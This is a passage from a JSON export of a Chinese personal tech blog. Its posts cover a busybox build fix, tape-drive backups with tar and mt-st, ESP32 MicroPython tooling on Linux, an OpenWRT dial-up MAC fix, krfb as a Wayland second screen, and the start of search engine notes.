class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetenv bootargs console=ttyS0,115200n8 root=/dev/sda1 rootdelay=3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003esaveenv\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"编译busybox最小系统\"\u003e\u003ca href=\"#编译busybox最小系统\" class=\"headerlink\" title=\"编译busybox最小系统\"\u003e\u003c/a\u003e编译busybox最小系统\u003c/h2\u003e\u003cp\u003e流程很简单:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003emkdir\u003c/span\u003e -p ./\u0026#123;src,\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"问题\"\u003e\u003ca href=\"#问题\" class=\"headerlink\" title=\"问题\"\u003e\u003c/a\u003e问题\u003c/h3\u003e\u003cul\u003e\u003cli\u003e编译失败\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e不知道为啥,换\u003ccode\u003emusl-gcc\u003c/code\u003e就可以了。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003emake menuconfig\u003c/code\u003e总是会失败\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e刚开始以为确实是依赖问题,把能想到的玩意都装了一圈之后觉得不对劲上Arch Wiki搜了一下:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://bbs.archlinux.org/viewtopic.php?id=295859\"\u003e[已解决] make menuconfig 和 ncurses 库的问题 \u0026#x2F; 新手 \u0026#x2F; Arch Linux 论坛\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://aur.archlinux.org/cgit/aur.git/tree/esp8266-rtos-sdk-aur-ncurses-fix.patch?h=esp8266-rtos-sdk\"\u003eesp8266-rtos-sdk-aur-ncurses-fix.patch - aur.git - AUR Package Repositories\u003c/a\u003e\u003c/p\u003e\u003cp\u003e最后发现是\u003ccode\u003e./scripts/kconfig/lxdialog/check-lxdialog.sh\u003c/code\u003e的锅。里边的\u003ccode\u003echeck()\u003c/code\u003e函数对main的写法有问题:应该在下图的main()前面加上int才能正常check到是否安装了ncurses库。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/Pasted%20image%2020240920214920.png\"\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e启动失败\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e我这里是因为menuconfig总是失败所以没法开\u003cstrong\u003eBuild static binary\u003c/strong\u003e,开开就能跑了。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2024/09/12/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E9%BE%99%E8%8A%AF%E4%B9%85%E4%B9%85%E6%B4%BEPlus%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/"},{"title":"磁带机入坑小记","time":"2024-07-08T03:39:09Z","content":"世上只有两种人:不备份数据的人和丢失过数据的人\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003e世上只有两种人:不备份数据的人和丢失过数据的人\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e坑是去年入的,机是今年才用的,数据是才备份好的,磁带是热乎的。\u003c/p\u003e\u003ch2 id=\"机器\"\u003e\u003ca href=\"#机器\" class=\"headerlink\" title=\"机器\"\u003e\u003c/a\u003e机器\u003c/h2\u003e\u003cp\u003e这个磁带机是我怂恿Ray一块合买的一个戴尔的LTO4磁带机。机器成色看着可以,这东西最大的问题是,这个价格只能买到走SAS连接的版本。所以在这之外还整了个HBA板卡用来把这东西接入主机的PCIE连接。\u003c/p\u003e\u003cp\u003e此外为了实现一些神奇的操作,我俩还整了个PCIE延长插槽,最后\u003cdel\u003e转换器插转换器插转换器\u003c/del\u003e成功给这玩意插到Ray的老ThinkPad上的Express插槽上了(Think.jpg\u003c/p\u003e\u003ch2 id=\"安装\"\u003e\u003ca href=\"#安装\" class=\"headerlink\" title=\"安装\"\u003e\u003c/a\u003e安装\u003c/h2\u003e\u003cp\u003e一个电源,一个sas接口,都插上就完事了。就是得注意启动顺序,磁带机得在电脑之前上电启动。\u003c/p\u003e\u003cp\u003eWindows底下应该能在设备管理器底下找到磁带机的影子,Linux底下看看\u003ccode\u003e/dev\u003c/code\u003e底下有没有\u003ccode\u003est0, nst0\u003c/code\u003e之类的字符设备就行,有就是连上了。\u003c/p\u003e\u003ch2 id=\"使用\"\u003e\u003ca href=\"#使用\" class=\"headerlink\" title=\"使用\"\u003e\u003c/a\u003e使用\u003c/h2\u003e\u003cp\u003e只要你不是命令行恐惧症,我一律推荐你直接上Linux用GNU tar作为数据备份工具。Windows上那依托数据备份软件又贵又不好用,不如直接tar。\u003c/p\u003e\u003cp\u003e具体来说,插上磁带机之后,开机启动,系统里的\u003ccode\u003e/dev\u003c/code\u003e下应该会出现几个新的字符设备,一般有这么几个:\u003ccode\u003est0, nst0\u003c/code\u003e之类的。这两个表示一个设备的两个模式,前者在操作完成后会自动倒带,后者则不会自动倒带。\u003c/p\u003e\u003cp\u003eLinux的文件模型将所有设备视为文件进行管理,对于磁带机同理。我们可以像使用其他设备一样使用磁带机,甚至可以直接用重定向符把输出流重定向到磁带机,或者直接用\u003ccode\u003edd\u003c/code\u003e把数据写入磁带机设备。\u003c/p\u003e\u003cp\u003e另外由于数据IO作为系统调用,它一旦因为一些奇怪的原因失败有概率会导致系统内核因为死锁挂掉,症状就是其他的文件IO操作都会失败。这种时候只能重启了。\u003c/p\u003e\u003cp\u003eWin上我就不列出了,用过一个L开头的备份软件,又要收费又不好用。Linux上常用的有tar,dd,cpio等。这里只介绍tar和一个磁带机管理工具。另外\u003cem\u003etar适用单磁带备份\u003c/em\u003e,多磁带备份可以自行了解cpio。\u003c/p\u003e\u003ch3 id=\"tar使用笔记\"\u003e\u003ca href=\"#tar使用笔记\" class=\"headerlink\" title=\"tar使用笔记\"\u003e\u003c/a\u003etar使用笔记\u003c/h3\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"left\"\u003e操作\u003c/th\u003e\u003cth align=\"left\"\u003e指令\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e全盘覆盖从头写入\u003c/td\u003e\u003ctd align=\"left\"\u003e\u003ccode\u003etar cvf /dev/st0 files/dirs\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e附加模式写入磁带后部\u003c/td\u003e\u003ctd align=\"left\"\u003e\u003ccode\u003etar rvf /dev/st0 files/dirs\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e获取磁带文件列表\u003c/td\u003e\u003ctd align=\"left\"\u003e\u003ccode\u003etar tvf /dev/st0 \u0026gt; filelist.txt\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e从磁带恢复文件列表到当前目录\u003c/td\u003e\u003ctd align=\"left\"\u003e\u003ccode\u003etar xvf /dev/st0 [files/dirs]\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e这里没列全,tar还有很多用法,比如增量备份,文件恢复\u003c/p\u003e\u003cp\u003e注意,磁带是线性文件系统,在LTFS出现之前的版本(比如LTO4),上面的操作都是很耗时的。\u003c/p\u003e\u003ch3 id=\"mt-st使用笔记\"\u003e\u003ca href=\"#mt-st使用笔记\" class=\"headerlink\" title=\"mt-st使用笔记\"\u003e\u003c/a\u003emt-st使用笔记\u003c/h3\u003e\u003cp\u003e\u003ccode\u003emt-st\u003c/code\u003e就是\u003cem\u003eManage Tape\u003c/em\u003e的缩写。它是用来管理磁带机的工具。\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"left\"\u003e操作\u003c/th\u003e\u003cth align=\"left\"\u003e指令\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e\u003ccode\u003emt-st -f /dev/st0 status\u003c/code\u003e\u003c/td\u003e\u003ctd align=\"left\"\u003e获取设备状态\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e\u003ccode\u003emt-st -f /dev/st0 rewind\u003c/code\u003e\u003c/td\u003e\u003ctd align=\"left\"\u003e倒带\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e\u003ccode\u003emt-st -f /dev/st0 eject\u003c/code\u003e\u003c/td\u003e\u003ctd align=\"left\"\u003e弹出磁带\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e\u003ccode\u003emt-st -f /dev/st0 erase\u003c/code\u003e\u003c/td\u003e\u003ctd align=\"left\"\u003e\u003cstrong\u003e慎用,对磁带有损伤且一般无必要\u003c/strong\u003e 擦除磁带所有数据\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 id=\"其他玩法\"\u003e\u003ca href=\"#其他玩法\" class=\"headerlink\" title=\"其他玩法\"\u003e\u003c/a\u003e其他玩法\u003c/h3\u003e\u003cp\u003e刚说过了,磁带机作为一个字符设备,使用方式和其他设备一样,都是把输出数据流重定向到它在\u003ccode\u003e/dev\u003c/code\u003e下对应的字符设备。那玩法就多了。\u003c/p\u003e\u003cp\u003e首先,数据流可以从远端传过来:\u003c/p\u003e\u003cul\u003e\u003cli\u003e所以磁带机完全可以供多人\u003cstrong\u003e远程使用\u003c/strong\u003e,只要本地留个人插拔磁带就彳亍。比如通过ssh将自己的数据传入磁带机,实现远程数据备份。\u003c/li\u003e\u003cli\u003e局域网(比如校园局域网)底下这么玩很爽\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e另外不光能远程,这个数据流还可以从别的进程传过来。比如可以从你的OBS推流里传过来,可以从你的其他设备传过来(比如摄像头之类的数据采集设备),可以从你的文件下载进程里传过来,还可以从任何数据处理进程里传过来。\u003c/p\u003e\u003cp\u003e反正最后都是花式数据备份嘛。实在闲得没事了还可以写个自助备份系统给别人用用。\u003c/p\u003e\u003ch2 id=\"结\"\u003e\u003ca href=\"#结\" class=\"headerlink\" title=\"结\"\u003e\u003c/a\u003e结\u003c/h2\u003e\u003cp\u003e每次掏出来磁带机就有人说这东西随机读写性能不行,傻逼才买。先不说某些人的教养问题,单说抛开需求和使用场景来看设备那不纯耍流氓。\u003c/p\u003e\u003cp\u003e一个纯用来冷备份的设备,作为长期数据储存的设备,真的有人会需要这玩意的随机读写能力?一般使用不都是数据丢失了,插上磁带开始全盘\u0026#x2F;指定文件列表开始数据恢复嘛。当然你要想的是在这里边\u003cdel\u003e下原神\u003c/del\u003e打游戏那当我没说。\u003c/p\u003e\u003cp\u003e而且随机读写性能不等于读写性能,这玩意读写是能跑到\u003cstrong\u003e100+MiBps,也就是800+Mbps\u003c/strong\u003e的,一般手机下载文件\u0026#x2F;普通U盘文件传输连续读写都跑不到这速度,而且\u003cstrong\u003eLTO4的磁带15r\u0026#x2F;盘,容量800GiB(不开压缩)~1600GiB(开压缩)\u003c/strong\u003e,LTO4磁带机价格也下来了,拿来冷备份的成本和\u003cstrong\u003e可靠性\u003c/strong\u003e都远比机械\u0026#x2F;固态优秀。\u003c/p\u003e\u003cp\u003e不过这玩意小众还是有原因的,最大的原因是这玩意一般不面向普通个人消费者,而是大型数据中心。其次是这玩意价格普遍很贵,特别是磁带机。只有那些相对落后几代的产品才有对比普通存储介质备份方案很明显的性价比优势。\u003c/p\u003e\u003cp\u003e嘛,本来想说下素质问题,想了下没必要,都那样了,还是顺从吧:”啊对对对“。\u003c/p\u003e\u003ch2 id=\"References\"\u003e\u003ca href=\"#References\" class=\"headerlink\" title=\"References\"\u003e\u003c/a\u003eReferences\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://www.gnu.org/software/tar/manual/html_section/Using-Multiple-Tapes.html\"\u003eGNU tar 1.35: 9.6 Using Multiple Tapes\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://www.gnu.org/software/tar/manual/html_chapter/Media.html\"\u003eGNU tar 1.35: 9 Tapes and Other Archive Media\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://www.cnblogs.com/amadeuslee/p/3799484.html\"\u003eLinux 磁带机备份完全攻略 - 李济宏(Amadeus) - 博客园\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/659337882\"\u003eArch Linux下使用HPE LTO5磁带机(含LTFS)记录 - 知乎\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://blog.itpub.net/223653/viewspace-1301748/\"\u003eLinux、UNIX下磁带机的管理和使用 (作者:张亚宁) - ITPUB博客\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"http://www.01-datastorage.com/c/keep.html\"\u003e{LTO磁带寿命预估}{怎样计算LTO磁带寿命}{如何让LTO磁带寿命更长}\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e","url":"https://mxts.jiujiuer.xyz/2024/07/08/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%A1%AC%E4%BB%B6/%E7%A3%81%E5%B8%A6%E6%9C%BA%E5%85%A5%E5%9D%91%E5%B0%8F%E8%AE%B0/"},{"title":"Linux上的ESP32+MicroPython开发手记","time":"2024-07-05T06:03:13Z","content":"非常好ESP32+EC800M,使我系统兼容\u003chr /\u003e\u003cblockquote\u003e\u003cp\u003eRef:\u003ca href=\"https://www.cnblogs.com/orangeQWJ/p/17762992.html\"\u003eESP32-MicroPython 开发环境 - orangeQWJ - 博客园\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e之前一直想在Linux上玩玩手头的ESP32板子,但是奈何开发工具(好像叫Thonny)兼容Win,也懒得在Linux上再装一个。最近有空了才研究了一下,发现把板子插上,系统里是会出现一个字符设备的。不过大前提是\u003cstrong\u003eESP32的板子是MicroPython固件\u003c/strong\u003e应该才行。\u003c/p\u003e\u003ch2 id=\"连接终端\"\u003e\u003ca href=\"#连接终端\" class=\"headerlink\" title=\"连接终端\"\u003e\u003c/a\u003e连接终端\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/muahao/articles/5673282.html\"\u003e[转载]各种终端 \u0026#x2F;dev\u0026#x2F;tty - 苏小北1024 - 博客园\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e既然设备在\u003ccode\u003e/dev\u003c/code\u003e底下显示了,那肯定就能连上。在Win上的时候IDE会自动连接上设备的MicroPython的repl解释器。Linux底下根据参考资料应该是可以借助\u003ccode\u003escreen\u003c/code\u003e连接。我的设备显示为\u003ccode\u003e/dev/ttyUSB0\u003c/code\u003e,那么就使用下面的指令以115200的波特率连接:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003escreen /dev/ttyUSB0 115200\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e连接后能看到确实是MicroPython的repl。\u003c/p\u003e\u003cp\u003e这里补充一下screen的使用,这里的\u003ccode\u003eC-x\u003c/code\u003e指的是\u003ccode\u003eCtrl+x\u003c/code\u003e这样的组合键:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eC-a d\u003c/code\u003e:断开当前screen的连接\u003c/li\u003e\u003cli\u003e\u003ccode\u003eC-a k\u003c/code\u003e:终止当前screen的连接。完成repl交互的时候务必终止,不然会阻碍ampy的连接\u003c/li\u003e\u003cli\u003e\u003ccode\u003escreen -R\u003c/code\u003e:恢复screen的连接\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"文件传输\"\u003e\u003ca href=\"#文件传输\" class=\"headerlink\" title=\"文件传输\"\u003e\u003c/a\u003e文件传输\u003c/h2\u003e\u003cp\u003e虽然能用repl的\u003ccode\u003eos.listdir()\u003c/code\u003e和文件操作查看源码和其他文件的内容,但是还是不太方便。搜了一下发现Adafruit提供了一个用于在MicroPythhon兼容设备上文件管理的工具。我这里直接从AUR安装了:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eyay -S ampy\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e装好之后,可以先设置一下环境变量,省得每次都要指定端口号:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;export AMPY_PORT=/dev/ttyUSB0\u0026quot;\u003c/span\u003e \u0026gt;\u0026gt; \u003cspan class=\"variable\"\u003e$HOME\u003c/span\u003e/.bashrc\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e之后就不用指定下面所有的\u003ccode\u003e--port /dev/ttyUSB0\u003c/code\u003e参数了。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eampy --port \u0026lt;PORT\u0026gt; ls [REMOTE_DIR]\u003c/code\u003e:列出文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003eampy --port \u0026lt;PORT\u0026gt; get \u0026lt;REMOTE_FILE\u0026gt; [LOCAL_FILE]\u003c/code\u003e:下载文件,输出到stdout\u0026#x2F;本地文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003eampy --port \u0026lt;PORT\u0026gt; put \u0026lt;FILE\u0026gt;\u003c/code\u003e:上传文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003eampy --port \u0026lt;PORT\u0026gt; rm \u0026lt;REMOTE_FILE\u0026gt;\u003c/code\u003e:删除文件\u003c/li\u003e\u003cli\u003e\u003ccode\u003eampy --port \u0026lt;PORT\u0026gt; mkdir \u0026lt;DIR\u0026gt;\u003c/code\u003e:创建文件夹\u003c/li\u003e\u003cli\u003e\u003ccode\u003eampy --port \u0026lt;PORT\u0026gt; run \u0026lt;REMOTE_SCRIPT\u0026gt;\u003c/code\u003e:执行远程脚本\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"特殊文件\"\u003e\u003ca href=\"#特殊文件\" class=\"headerlink\" title=\"特殊文件\"\u003e\u003c/a\u003e特殊文件\u003c/h2\u003e\u003cp\u003eMicroPython固件会在开机时先执行\u003ccode\u003e/boot.py\u003c/code\u003e,再执行\u003ccode\u003e/main.py\u003c/code\u003e主程序。如何编写就看程序的设计了。\u003c/p\u003e\u003chr\u003e\u003cblockquote\u003e\u003cp\u003ePS:为了快速复制引用的网页还抽了半个小时做了个插件:\u003ca href=\"https://github.com/xeonds/tab-clip?tab=readme-ov-file\"\u003exeonds\u0026#x2F;tab-clip: Extension for clip the site info in markdown url format\u003c/a\u003e\u003cbr\u003e虽然感觉有点傻就是了)\u003c/p\u003e\u003c/blockquote\u003e","url":"https://mxts.jiujiuer.xyz/2024/07/05/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/Linux%E4%B8%8A%E7%9A%84ESP32+MicroPython%E5%BC%80%E5%8F%91%E6%89%8B%E8%AE%B0/"},{"title":"OpenWRT折腾笔记","time":"2024-06-30T19:54:58Z","content":"(*/ω\*)\u003chr /\u003e\u003ch2 id=\"疑难杂症\"\u003e\u003ca href=\"#疑难杂症\" class=\"headerlink\" title=\"疑难杂症\"\u003e\u003c/a\u003e疑难杂症\u003c/h2\u003e\u003ch3 id=\"OpenWRT拨号失败\"\u003e\u003ca href=\"#OpenWRT拨号失败\" class=\"headerlink\" title=\"OpenWRT拨号失败\"\u003e\u003c/a\u003eOpenWRT拨号失败\u003c/h3\u003e\u003cp\u003e今天换了OpenWRT,在WAN端口设置拨号后发现拨号失败,报错为\u003ccode\u003eUSER_REQUEST\u003c/code\u003e。试了下\u003ca href=\"https://jkboy.com/archives/44971.html\"\u003e这个\u003c/a\u003e解决方案:强制给端口指定MAC地址之后,发现拨号成功了。。\u003c/p\u003e\u003cp\u003e具体操作:网络管理端启用ssh,通过ssh连接路由器后,执行下面的指令:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003evi /etc/config/network\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后,在\u003ccode\u003econfig interface \u0026#39;wan\u0026#39;\u003c/code\u003e块的下面添加一行指派MAC地址:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eoption macaddr \u003cspan class=\"string\"\u003e\u0026#x27;a0:23:36:a8:8d:9e\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后重启WAN端口,发现拨号成功。\u003c/p\u003e","url":"https://mxts.jiujiuer.xyz/2024/06/30/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/OpenWRT%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/"},{"title":"在Wayland中使用无线副屏","time":"2024-05-04T03:58:02Z","content":"(*/ω\*)\u003chr /\u003e\u003ch2 id=\"废话\"\u003e\u003ca href=\"#废话\" class=\"headerlink\" title=\"废话\"\u003e\u003c/a\u003e废话\u003c/h2\u003e\u003cp\u003e之前在Windows上用过米全家桶,体验一般。这回回家带了电脑和板子,写分布式作业的时候突然想把板子当副屏用,但是让我切回Windows写代码还是饶了我吧QAQ\u003c/p\u003e\u003cp\u003e不过切成Wayland以后,基于xrdp的方法也没法用,还好有新的替代:krfb\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eKDE: Krfb 桌面共享是一个可以让您与另一个在其他机器上的用户共享当前会话的服务器程序,他可以使用VNC 客户端来查看甚至控制桌面。\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"使用\"\u003e\u003ca href=\"#使用\" class=\"headerlink\" title=\"使用\"\u003e\u003c/a\u003e使用\u003c/h2\u003e\u003cp\u003e截止2024.05.04,aur中的最新版在RVNC Viewer客户端连接时会崩溃,故本文使用\u003ccode\u003ekrfb-22.12.3-1-x86_64\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e首先将系统的PulseAudio切换为PipeWire:在Arch下运行\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo pacman -S pipewire pipewire-pulse pipewire-alsa wireplumber\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e随后pacman会询问是否卸载PulseAudio,输入y回车即可。安装完成后,重启一次。\u003c/p\u003e\u003cp\u003e接着安装Krfb,因为我使用了历史的pkg包,所以\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esudo pacman -U krfb-22.12.3-1-x86_64.pkg.tar.zst\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e现在就可以正常使用了。你可以使用这个配置试试:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ekrfb-virtualmonitor --name Pad --resolution 1920x1080 --password password --port 5900\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e现在打开板子上的VNC,连接电脑的IP试试吧。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"/img/Pasted%20image%2020240504123041.png\"\u003e\u003c/p\u003e\u003ch2 id=\"Ref\"\u003e\u003ca href=\"#Ref\" class=\"headerlink\" title=\"Ref\"\u003e\u003c/a\u003eRef\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://forum.manjaro.org/t/android-tablet-as-second-monitor/114841/2\"\u003eAndroid tablet as a second monitor - Manjaro Forum\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://tatsumin.dev/posts/switch-from-pulseaudio-to-pipwire/\"\u003eArch Linux 音频服务器从PulseAudio 切换到 Pipewire\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e","url":"https://mxts.jiujiuer.xyz/2024/05/04/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%9C%A8Wayland%E4%B8%AD%E4%BD%BF%E7%94%A8%E6%97%A0%E7%BA%BF%E5%89%AF%E5%B1%8F/"},{"title":"搜索引擎学习笔记","time":"2024-04-27T13:12:15Z","content":"(*/ω\*)\u003chr /\u003e\u003ch2 id=\"概览\"\u003e\u003ca href=\"#概览\" class=\"headerlink\" title=\"概览\"\u003e\u003c/a\u003e概览\u003c/h2\u003e\u003cp\u003e搜索引擎是从文档集合中查找出匹配单词、问题等构成的信息需求的系统\u0026#x2F;软件的总称。\u003c/p\u003e\u003cp\u003e不过现代的搜索引擎的索引范围早已经超过文档,比如对邮件\u0026#x2F;专利信息的搜索引擎等。变化的是作为文档的对象,不变的是基础架构。\u003c/p\u003e\u003cp\u003e搜索引擎一般有四个部分:\u003c/p\u003e\u003cul\u003e\u003cli\u003e索引管理器 Index Manager\u003cul\u003e\u003cli\u003e索引是一种该诉检索特化的数据结构,对其访问借助索引管理器完成\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e索引检查器 Index Searcher\u003cul\u003e\u003cli\u003e利用索引进行全文搜索处理的组件\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e索引构建器 Indexer\u003cul\u003e\u003cli\u003e从文本文档中生成索引的组件。它的行为是将文档分解为单词序列,再转换为索引结构\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e文档管理器 Document Manager\u003cul\u003e\u003cli\u003e管理作为检索对象的文档,并对于作为查询结果的文档进行摘要的生成\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e这几部分的工作方式:文档作为索引构建器的输入,将输出内容交给索引管理器和文档管理器,最后,用户使用检索应用程序,后者和索引检查器交互,使用信息需求获得结果。\u003c/p\u003e\u003cp\u003e还有其他不是组成部分,但是相关的组件:\u003c/p\u003e\u003cul\u003e\u003cli\u003e爬虫-Crawler: 